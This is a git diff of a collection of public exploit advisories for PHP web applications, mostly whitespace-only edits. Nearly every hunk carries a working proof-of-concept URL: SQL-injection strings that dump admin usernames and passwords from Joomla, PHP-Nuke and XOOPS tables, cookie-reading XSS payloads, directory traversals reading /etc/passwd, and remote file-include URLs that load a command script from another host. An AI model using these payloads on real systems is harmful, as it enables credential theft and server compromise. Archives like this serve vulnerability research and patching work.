+http://www.example.com/index.php?pilih=lihatberita&id=-9999999/**/union/**/select/**/0,1,password,3,4,user,6/**/from/**/user/*where%20admin1/** \ No newline at end of file diff --git a/platforms/php/webapps/31291.txt b/platforms/php/webapps/31291.txt index 91f9e1fee..7bddc03e9 100755 --- a/platforms/php/webapps/31291.txt +++ b/platforms/php/webapps/31291.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_publication' component is prone to an SQL-injection v Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_publication&task=view&pid=-9999999+union/**/select+0,username,password,0,0,0,0/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_publication&task=view&pid=-9999999+union/**/select+0,username,password,0,0,0,0/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31292.txt b/platforms/php/webapps/31292.txt index 6d7ccdf38..33cc3d033 100755 --- a/platforms/php/webapps/31292.txt +++ b/platforms/php/webapps/31292.txt @@ -4,4 +4,4 @@ The 'com_blog' component for Joomla! and Mambo is prone to an SQL-injection vuln Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_blog&name=aria-Security.Net&task=view&pid=SQL_INJECTION \ No newline at end of file +http://www.example.com/index.php?option=com_blog&name=aria-Security.Net&task=view&pid=SQL_INJECTION \ No newline at end of file diff --git a/platforms/php/webapps/31293.txt b/platforms/php/webapps/31293.txt index 38061b348..396c70a5f 100755 --- a/platforms/php/webapps/31293.txt +++ b/platforms/php/webapps/31293.txt @@ -5,4 +5,4 @@ Gary's Cookbook module for Joomla! and Mambo is prone to an SQL-injection vulner Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_garyscookbook&Itemid=S@BUN&func=detail&id=-666/**/union+select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,username+f -rom%2F%2A%2A%2Fmos_users/* \ No newline at end of file +rom%2F%2A%2A%2Fmos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31294.txt b/platforms/php/webapps/31294.txt index 5c7ffde8d..a22eb2648 100755 --- a/platforms/php/webapps/31294.txt +++ b/platforms/php/webapps/31294.txt @@ -4,4 +4,4 @@ The Jokes and Funny Pictures script from Softbiz is prone to an SQL-injection vu Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?sbcat_id=-1 union select 0,1,2,concat(sbadmin_name,0x3a,sbadmin_pwd),4,5,6,7,8,9 from sbjks_admin/* \ No newline at end of file +http://www.example.com/index.php?sbcat_id=-1 union select 0,1,2,concat(sbadmin_name,0x3a,sbadmin_pwd),4,5,6,7,8,9 from sbjks_admin/* \ No newline at end of file diff --git a/platforms/php/webapps/31297.txt b/platforms/php/webapps/31297.txt index e4f371515..7a5c558de 100755 --- a/platforms/php/webapps/31297.txt +++ b/platforms/php/webapps/31297.txt @@ -4,4 +4,4 @@ The 'Sell' module for PHP-Nuke is prone to an SQL-injection vulnerability becaus Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules.php?name=Sell&d_op=viewsell&cid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202 \ No newline at end of file +http://www.example.com/modules.php?name=Sell&d_op=viewsell&cid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202 \ No newline at end of file diff --git a/platforms/php/webapps/31303.txt b/platforms/php/webapps/31303.txt index 10f08ea5a..6932dbe21 100755 --- a/platforms/php/webapps/31303.txt +++ b/platforms/php/webapps/31303.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_inter' component is prone to an SQL-injection vulnera Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_inter&op=The-0utl4wz&id=-11111111111111/**/union/**/select/**/username,1,2,3,password,5,6,7,8,9/**/from/**/jos_user \ No newline at end of file +http://www.example.com/index.php?option=com_inter&op=The-0utl4wz&id=-11111111111111/**/union/**/select/**/username,1,2,3,password,5,6,7,8,9/**/from/**/jos_user \ No newline at end of file diff --git a/platforms/php/webapps/31304.txt b/platforms/php/webapps/31304.txt index 215632ea2..ad66c5b38 100755 --- a/platforms/php/webapps/31304.txt +++ b/platforms/php/webapps/31304.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Plume CMS 1.2.2; other versions may be affected as well. -http://www.example.com/manager/xmedia.php?dir=theme/default/<script>alert("XSS")</script>&mode= \ No newline at end of file +http://www.example.com/manager/xmedia.php?dir=theme/default/<script>alert("XSS")</script>&mode= \ No newline at end of file diff --git a/platforms/php/webapps/31312.txt b/platforms/php/webapps/31312.txt index dcca492f7..d7f859355 100755 --- a/platforms/php/webapps/31312.txt +++ b/platforms/php/webapps/31312.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin This issue affects Barryvan Compo Manager 0.3; other versions may also be vulnerable. -http://www.example.com/main.php?pageURL=[Evil_Code] \ No newline at end of file +http://www.example.com/main.php?pageURL=[Evil_Code] \ No newline at end of file diff --git a/platforms/php/webapps/31315.txt b/platforms/php/webapps/31315.txt index 6742a3a4c..85b2cd3d7 100755 --- a/platforms/php/webapps/31315.txt +++ b/platforms/php/webapps/31315.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow XRMS CRM 1.99.2 is affected; other versions may also be vulnerable. -http://www.example.com//xrms/admin/users/self.php?msg=Preferences%20successfully%20saved&msg=<script>alert("xss");</script> \ No newline at end of file +http://www.example.com//xrms/admin/users/self.php?msg=Preferences%20successfully%20saved&msg=<script>alert("xss");</script> \ No newline at end of file diff --git a/platforms/php/webapps/31316.txt b/platforms/php/webapps/31316.txt index c1b3d0f8e..0ca0b1198 100755 --- a/platforms/php/webapps/31316.txt +++ b/platforms/php/webapps/31316.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Centreon 1.4.2.2 and 1.4.2.3 are vulnerable; other versions may also be affected. -http://www.example.com//include/common/javascript/color_picker.php?&name=XSS&title=%3Cscript%3Ea=/Test%20XSS/;alert(a.source)%3C/script%3E \ No newline at end of file +http://www.example.com//include/common/javascript/color_picker.php?&name=XSS&title=%3Cscript%3Ea=/Test%20XSS/;alert(a.source)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/31318.txt b/platforms/php/webapps/31318.txt index 5c0648a94..81a032767 100755 --- a/platforms/php/webapps/31318.txt +++ b/platforms/php/webapps/31318.txt @@ -8,4 +8,4 @@ This issue affects Centreon 1.4.2.3; other versions may also be vulnerable. http://www.example.com/include/doc/index.php?page=../../www/oreon.conf.php http://www.example.com/include/doc/index.php?page=../../../../../etc/passwd -http://www.example.com/include/doc/index.php?page=[Local File] \ No newline at end of file +http://www.example.com/include/doc/index.php?page=[Local File] \ No newline at end of file diff --git a/platforms/php/webapps/31319.txt b/platforms/php/webapps/31319.txt index 39c96796b..a93c93425 100755 --- a/platforms/php/webapps/31319.txt +++ b/platforms/php/webapps/31319.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects 'gallery' 0.1, 0.3, and 0.4; other versions may also be affected. -http://www.example.com/index.php?gallery=XSS \ No newline at end of file +http://www.example.com/index.php?gallery=XSS \ No newline at end of file diff --git a/platforms/php/webapps/31320.txt b/platforms/php/webapps/31320.txt index 234fbac28..2bba561a4 100755 --- a/platforms/php/webapps/31320.txt +++ b/platforms/php/webapps/31320.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin This issue affects phpMyTourney 2; other versions may also be vulnerable. -http://www.example.com/phpmytourney/sources/tourney/index.php?page=[Evil-Script] \ No newline at end of file +http://www.example.com/phpmytourney/sources/tourney/index.php?page=[Evil-Script] \ No newline at end of file diff --git a/platforms/php/webapps/31321.txt b/platforms/php/webapps/31321.txt index c6d8f544d..01a89ea14 100755 --- a/platforms/php/webapps/31321.txt +++ b/platforms/php/webapps/31321.txt @@ -4,4 +4,4 @@ Heathco Software h2desk is prone to multiple information-disclosure vulnerabilit Attackers can leverage these issues to obtain potentially sensitive information that can aid in further attacks. -http://www.example.com/index.php?pid=databasedump \ No newline at end of file +http://www.example.com/index.php?pid=databasedump \ No newline at end of file diff --git a/platforms/php/webapps/31322.txt b/platforms/php/webapps/31322.txt index eef394001..f360cd1a9 100755 --- a/platforms/php/webapps/31322.txt +++ b/platforms/php/webapps/31322.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects gaestebuch 2.2; other versions may also be affected. -http://www.example.com/modules.php?name=gaestebuch_v22&amp;func=edit&amp;id=-1+union+all+select+1,1,1,aid,pwd+from+nuke_authors+where+radminsuper=1 \ No newline at end of file +http://www.example.com/modules.php?name=gaestebuch_v22&amp;func=edit&amp;id=-1+union+all+select+1,1,1,aid,pwd+from+nuke_authors+where+radminsuper=1 \ No newline at end of file diff --git a/platforms/php/webapps/31325.txt b/platforms/php/webapps/31325.txt index 30373f417..2c02e1bc6 100755 --- a/platforms/php/webapps/31325.txt +++ b/platforms/php/webapps/31325.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to include arbitrary remote files containin KC Wiki 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/kcwiki-1_0-20051129/simplest/wiki.php?page=http://www.example2.com/cmd.txt? \ No newline at end of file +http://www.example.com/kcwiki-1_0-20051129/simplest/wiki.php?page=http://www.example2.com/cmd.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31326.txt b/platforms/php/webapps/31326.txt index 61299e42a..111cdb368 100755 --- a/platforms/php/webapps/31326.txt +++ b/platforms/php/webapps/31326.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues determine valid usernames and passwords vi These issues affect Flyspray 0.9.9 to 0.9.9.4. -http://www.example.com/index.php?do=myprofile&tasks_perpage=<script>alert('DSecRG XSS')</script> http://www.example.com/index.php?do=myprofile&time_zone=<img src="javascript:alert('DSecRG XSS')"> http://www.example.com/index.php?do=admin&area=newproject&anon_open=<img src="javascript:alert('DSecRG XSS')"> http://www.example.com/index.php?do=admin&area=cat&rgt[4]=<script>alert('DSecRG XSS')</script> http://www.example.com/index.php?do=pm&area=prefs&project_is_active=<img src="javascript:alert('DSecRG XSS')"> http://www.example.com/index.php?do=details&project_id=<script>alert('DSecRG XSS')</script> http://www.example.com/index.php?do=details&item_status=<img src="javascript:alert('DSecRG XSS')"> http://www.example.com/index.php?do=details&item_summary=<script>alert('DSecRG XSS')</script> \ No newline at end of file +http://www.example.com/index.php?do=myprofile&tasks_perpage=<script>alert('DSecRG XSS')</script> http://www.example.com/index.php?do=myprofile&time_zone=<img src="javascript:alert('DSecRG XSS')"> http://www.example.com/index.php?do=admin&area=newproject&anon_open=<img src="javascript:alert('DSecRG XSS')"> http://www.example.com/index.php?do=admin&area=cat&rgt[4]=<script>alert('DSecRG XSS')</script> http://www.example.com/index.php?do=pm&area=prefs&project_is_active=<img src="javascript:alert('DSecRG XSS')"> http://www.example.com/index.php?do=details&project_id=<script>alert('DSecRG XSS')</script> http://www.example.com/index.php?do=details&item_status=<img src="javascript:alert('DSecRG XSS')"> http://www.example.com/index.php?do=details&item_summary=<script>alert('DSecRG XSS')</script> \ No newline at end of file diff --git a/platforms/php/webapps/31328.txt b/platforms/php/webapps/31328.txt index bacbe53c3..38f7aa1ab 100755 --- a/platforms/php/webapps/31328.txt +++ b/platforms/php/webapps/31328.txt @@ -9,4 +9,4 @@ NOTE: This BID was previously titled 'TorrentTrader 'msg' Parameter Cross Site S TorrentTrader Classic 1.08 is affected; other versions may also be vulnerable. -http://www.example.com/account-inbox.php?msg=<script>alert(document.co­okie)</script>&receiver=<username> \ No newline at end of file +http://www.example.com/account-inbox.php?msg=<script>alert(document.co­okie)</script>&receiver=<username> \ No newline at end of file diff --git a/platforms/php/webapps/31331.txt b/platforms/php/webapps/31331.txt index 83f947d7c..005a340be 100755 --- a/platforms/php/webapps/31331.txt +++ b/platforms/php/webapps/31331.txt @@ -4,4 +4,4 @@ The eGallery module for PHP-Nuke is prone to an SQL-injection vulnerability beca Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules.php?name=eGallery&file=index&op=showpic&pid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202 \ No newline at end of file +http://www.example.com/modules.php?name=eGallery&file=index&op=showpic&pid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202 \ No newline at end of file diff --git a/platforms/php/webapps/31332.txt b/platforms/php/webapps/31332.txt index 9a9c013c7..5f0211b5d 100755 --- a/platforms/php/webapps/31332.txt +++ b/platforms/php/webapps/31332.txt @@ -4,4 +4,4 @@ The PHP-Nuke 'Seminars' module is prone to a local file-include vulnerability be Exploiting this issue may allow an unauthorized remote user to view files and execute local scripts in the context of the webserver process. -http://www.example.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/31334.txt b/platforms/php/webapps/31334.txt index 58edbab43..b48b0ed79 100755 --- a/platforms/php/webapps/31334.txt +++ b/platforms/php/webapps/31334.txt @@ -4,4 +4,4 @@ Mitra Informatika Solusindo Cart is prone to an SQL-injection vulnerability beca Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?c=10&p=-7%20union%20select%200,concat(user_name,user_password),null,null,null,null,null,null%20from%20tbl_agen-- \ No newline at end of file +http://www.example.com/index.php?c=10&p=-7%20union%20select%200,concat(user_name,user_password),null,null,null,null,null,null%20from%20tbl_agen-- \ No newline at end of file diff --git a/platforms/php/webapps/31335.txt b/platforms/php/webapps/31335.txt index 962951d9b..6dbf71479 100755 --- a/platforms/php/webapps/31335.txt +++ b/platforms/php/webapps/31335.txt @@ -4,4 +4,4 @@ MG2 is prone to a cross-site scripting vulnerability because it fails to adequat An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/admin.php?action=import&list=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file +http://www.example.com/admin.php?action=import&list=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/31341.txt b/platforms/php/webapps/31341.txt index 3281fafd5..49e9a4b6e 100755 --- a/platforms/php/webapps/31341.txt +++ b/platforms/php/webapps/31341.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th Versions prior to Yap Blog 1.1.1 are vulnerable. -http://www.example.com/[path]/index.php?page=[Sh3llAddress] \ No newline at end of file +http://www.example.com/[path]/index.php?page=[Sh3llAddress] \ No newline at end of file diff --git a/platforms/php/webapps/31344.pl b/platforms/php/webapps/31344.pl index 3320533d6..808514aea 100755 --- a/platforms/php/webapps/31344.pl +++ b/platforms/php/webapps/31344.pl @@ -26,7 +26,7 @@ printf(" #:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:# #:-------------------------------------------------------:# :#| EXAMPLE: |#: -:#| exploit.pl -h http://server -p /php-nuke/ -U 1 |#: +:#| exploit.pl -h http://site.com -p /php-nuke/ -U 1 |#: #:-------------------------------------------------------:# #:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:# diff --git a/platforms/php/webapps/31351.txt b/platforms/php/webapps/31351.txt index 1fd2b7416..6e6dc984b 100755 --- a/platforms/php/webapps/31351.txt +++ b/platforms/php/webapps/31351.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc http://www.example.com/modules.php?name=modload&name=4nChat&file=index&roomid=-2+union+select+1,aid,3,4,5+from+nuke_authors http://www.example.com/modules.php?name=modload&name=4nChat&file=index&roomid=-2+union+select+1,pwd,3,4,5+from+nuke_authors -http://www.example.com/modules.php?name=modload&name=4nChat&file=index&roomid=-2+union+select+1,email,3,4,5+from+nuke_authors \ No newline at end of file +http://www.example.com/modules.php?name=modload&name=4nChat&file=index&roomid=-2+union+select+1,email,3,4,5+from+nuke_authors \ No newline at end of file diff --git a/platforms/php/webapps/31366.txt b/platforms/php/webapps/31366.txt index 1b6314ac6..ccdc13ecc 100755 --- a/platforms/php/webapps/31366.txt +++ b/platforms/php/webapps/31366.txt @@ -13,4 +13,4 @@ isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=true &elementname=undefined&page=page1&style=new &path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings &elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0=UTF-8 -&filePath.0=%2Fetc%2Fpasswd \ No newline at end of file +&filePath.0=%2Fetc%2Fpasswd \ No newline at end of file diff --git a/platforms/php/webapps/31367.txt b/platforms/php/webapps/31367.txt index c0693d072..28186c7cb 100755 --- a/platforms/php/webapps/31367.txt +++ b/platforms/php/webapps/31367.txt @@ -5,4 +5,4 @@ BM Classifieds is prone to multiple SQL-injection vulnerabilities because it fai Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/showad.php?listingid=xCoRpiTx&cat=-99/**/union+select/**/concat(username,0x3a,email),password,2/**/from/**/users/* -http://www.example.com/pfriendly.php?ad=-99%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0,1,concat(username,0x3a,email),password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, \ No newline at end of file +http://www.example.com/pfriendly.php?ad=-99%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0,1,concat(username,0x3a,email),password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, \ No newline at end of file diff --git a/platforms/php/webapps/31368.txt b/platforms/php/webapps/31368.txt index cd960041d..b43ca4ba9 100755 --- a/platforms/php/webapps/31368.txt +++ b/platforms/php/webapps/31368.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc http://www.example.com/modules.php?name=modload&name=4nAlbum&file=index&do=showpic&pid=-14+union+select+1,2,3,4,5,6,aid,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+nuke_authors http://www.example.com/modules.php?name=modload&name=4nAlbum&file=index&do=showpic&pid=-14+union+select+1,2,3,4,5,6,pwd,8,9,10,11,12,13,14,15,16,17111,18,19,20,21+from+nuke_authors -http://www.example.com/modules.php?name=modload&name=4nAlbum&file=index&do=showpic&pid=-14+union+select+1,2,3,4,5,6,email,8,9,10,11,12,13,14,15,16,17111,18,19,20,21+from+nuke_authors \ No newline at end of file +http://www.example.com/modules.php?name=modload&name=4nAlbum&file=index&do=showpic&pid=-14+union+select+1,2,3,4,5,6,email,8,9,10,11,12,13,14,15,16,17111,18,19,20,21+from+nuke_authors \ No newline at end of file diff --git a/platforms/php/webapps/31375.txt b/platforms/php/webapps/31375.txt index c0ecca874..31778d385 100755 --- a/platforms/php/webapps/31375.txt +++ b/platforms/php/webapps/31375.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l Drake CMS 0.4.11_RC8 is vulnerable; other versions may also be affected. -http://www.example.com/install/index.php?d_root=/etc/passwd%00 \ No newline at end of file +http://www.example.com/install/index.php?d_root=/etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/31377.txt b/platforms/php/webapps/31377.txt index 4f016e450..27a5110d6 100755 --- a/platforms/php/webapps/31377.txt +++ b/platforms/php/webapps/31377.txt @@ -5,4 +5,4 @@ The Hadith module for PHP-Nuke is prone to an SQL-injection vulnerability becaus Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/modules.php?modules.php?modload&name=Hadith&file=index&action=viewcat&cat=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Caid%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A -http://www.example.com/modules.php?modules.php?modload&name=Hadith&file=index&action=viewcat&cat=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A \ No newline at end of file +http://www.example.com/modules.php?modules.php?modload&name=Hadith&file=index&action=viewcat&cat=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A \ No newline at end of file diff --git a/platforms/php/webapps/31382.txt b/platforms/php/webapps/31382.txt index f5ad0de21..8afc87907 100755 --- a/platforms/php/webapps/31382.txt +++ b/platforms/php/webapps/31382.txt @@ -4,4 +4,4 @@ The 'ensenanzas' component for Joomla! and Mambo is prone to an SQL-injection vu Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_ensenanzas&Itemid=71&id=99999/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_ensenanzas&Itemid=71&id=99999/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31383.txt b/platforms/php/webapps/31383.txt index 686c0c93e..286d7203f 100755 --- a/platforms/php/webapps/31383.txt +++ b/platforms/php/webapps/31383.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The NukeC30 module 3.0 is affected; other versions may also be vulnerable. -http://www.example.com/modules.php?name=NukeC30&op=ViewCatg&id_catg=-1/**/union/**/select/**/concat(aid,0x3a,pwd),2/**/from/**/nuke_authors/*where%20admin%20-2 \ No newline at end of file +http://www.example.com/modules.php?name=NukeC30&op=ViewCatg&id_catg=-1/**/union/**/select/**/concat(aid,0x3a,pwd),2/**/from/**/nuke_authors/*where%20admin%20-2 \ No newline at end of file diff --git a/platforms/php/webapps/31384.txt b/platforms/php/webapps/31384.txt index 1ecfd87cf..c84de10bd 100755 --- a/platforms/php/webapps/31384.txt +++ b/platforms/php/webapps/31384.txt @@ -4,4 +4,4 @@ The zClassifieds module for PHP-Nuke is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules.php?ZClassifieds&cat=-9999999/**/union/**/select/**/pwd,aid/**/from/**/nuke_authors/*where%20admin1/** \ No newline at end of file +http://www.example.com/modules.php?ZClassifieds&cat=-9999999/**/union/**/select/**/pwd,aid/**/from/**/nuke_authors/*where%20admin1/** \ No newline at end of file diff --git a/platforms/php/webapps/31387.txt b/platforms/php/webapps/31387.txt index 177e7b11c..2a57cace8 100755 --- a/platforms/php/webapps/31387.txt +++ b/platforms/php/webapps/31387.txt @@ -7,4 +7,4 @@ Exploiting these issues may allow an attacker to access potentially sensitive in Uberghey CMS 0.3.1 is vulnerable; other versions may also be affected. http://www.example.com/uberghey-0.3.1/index.php?page_id=../../../../../../../../../../etc/passwd%00 -http://www.example.com/uberghey-0.3.1/index.php?language=../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/uberghey-0.3.1/index.php?language=../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/31388.txt b/platforms/php/webapps/31388.txt index cfc44b4cf..c7857a934 100755 --- a/platforms/php/webapps/31388.txt +++ b/platforms/php/webapps/31388.txt @@ -7,4 +7,4 @@ Exploiting these issues may allow an attacker to access potentially sensitive in Travelsized CMS 0.4.1 is vulnerale; other versions may also be affected. http://www.example.com/travelsized-0.4.1/index.php?page_id=../../../../../../../../../../etc/passwd%00 -http://www.example.com/travelsized-0.4.1/index.php?language=../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/travelsized-0.4.1/index.php?language=../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/31392.txt b/platforms/php/webapps/31392.txt index 1b665f898..c1bd535cc 100755 --- a/platforms/php/webapps/31392.txt +++ b/platforms/php/webapps/31392.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc My eGallery 3.04 is vulnerable; other versions may also be affected. -http://www.example.com/modules/my_egallery/index.php?do=showgall&gid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3,4,5,6/**/from+xoops_users/* \ No newline at end of file +http://www.example.com/modules/my_egallery/index.php?do=showgall&gid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3,4,5,6/**/from+xoops_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31400.txt b/platforms/php/webapps/31400.txt index d04203088..1b03608b7 100755 --- a/platforms/php/webapps/31400.txt +++ b/platforms/php/webapps/31400.txt @@ -5,4 +5,4 @@ MyTutorials is prone to an SQL-injection vulnerability because it fails to suffi Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/modules/tutorials/printpage.php?tid=-9999999/**/union/**/select/**/concat(uname,0x3a,pass),1,concat(uname,0x3a,pass),3,4,5/**/from/**/xoops_users/* -http://www.example.com/modules/tutorials/index.php?op=printpage&tid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3/**/from/**/xoops_users/* \ No newline at end of file +http://www.example.com/modules/tutorials/index.php?op=printpage&tid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3/**/from/**/xoops_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31401.txt b/platforms/php/webapps/31401.txt index a78510e4f..df2840926 100755 --- a/platforms/php/webapps/31401.txt +++ b/platforms/php/webapps/31401.txt @@ -4,4 +4,4 @@ Acyhost is prone to a remote file-include vulnerability because it fails to suff Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/index.php?sayfa=codeinject.txt \ No newline at end of file +http://www.example.com/index.php?sayfa=codeinject.txt \ No newline at end of file diff --git a/platforms/php/webapps/31402.txt b/platforms/php/webapps/31402.txt index 23d73c1d2..745993992 100755 --- a/platforms/php/webapps/31402.txt +++ b/platforms/php/webapps/31402.txt @@ -4,4 +4,4 @@ eWeather is prone to a cross-site scripting vulnerability because the applicatio An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://example.net/modules.php?name=eWeather&chart=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://example.net/modules.php?name=eWeather&chart=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/31406.txt b/platforms/php/webapps/31406.txt index fd8d5632c..27961e908 100755 --- a/platforms/php/webapps/31406.txt +++ b/platforms/php/webapps/31406.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SNewsCMS 2.3 and 2.4 are vulnerable to this issue; other versions may also be affected. -http://www.example.com/search.php?query="><h1>XSS</h1> \ No newline at end of file +http://www.example.com/search.php?query="><h1>XSS</h1> \ No newline at end of file diff --git a/platforms/php/webapps/31408.txt b/platforms/php/webapps/31408.txt index fb0d98eb8..8f5e96f91 100755 --- a/platforms/php/webapps/31408.txt +++ b/platforms/php/webapps/31408.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Cfnetgs 0.24 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/photo/index.php?directory="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/photo/index.php?directory="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/31410.txt b/platforms/php/webapps/31410.txt index 44a7aa912..5498917cb 100755 --- a/platforms/php/webapps/31410.txt +++ b/platforms/php/webapps/31410.txt @@ -4,4 +4,4 @@ The 'guide' component for Joomla! and Mambo is prone to an SQL-injection vulnera Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_guide&category=-999999/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_guide&category=-999999/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31414.txt b/platforms/php/webapps/31414.txt index 3a3533825..9ba64591c 100755 --- a/platforms/php/webapps/31414.txt +++ b/platforms/php/webapps/31414.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects phpstats 0.1_alpha. -http://www.example.com/phpstats/phpstats.php?baseDir=<script>alert(1)</script>&mode=run \ No 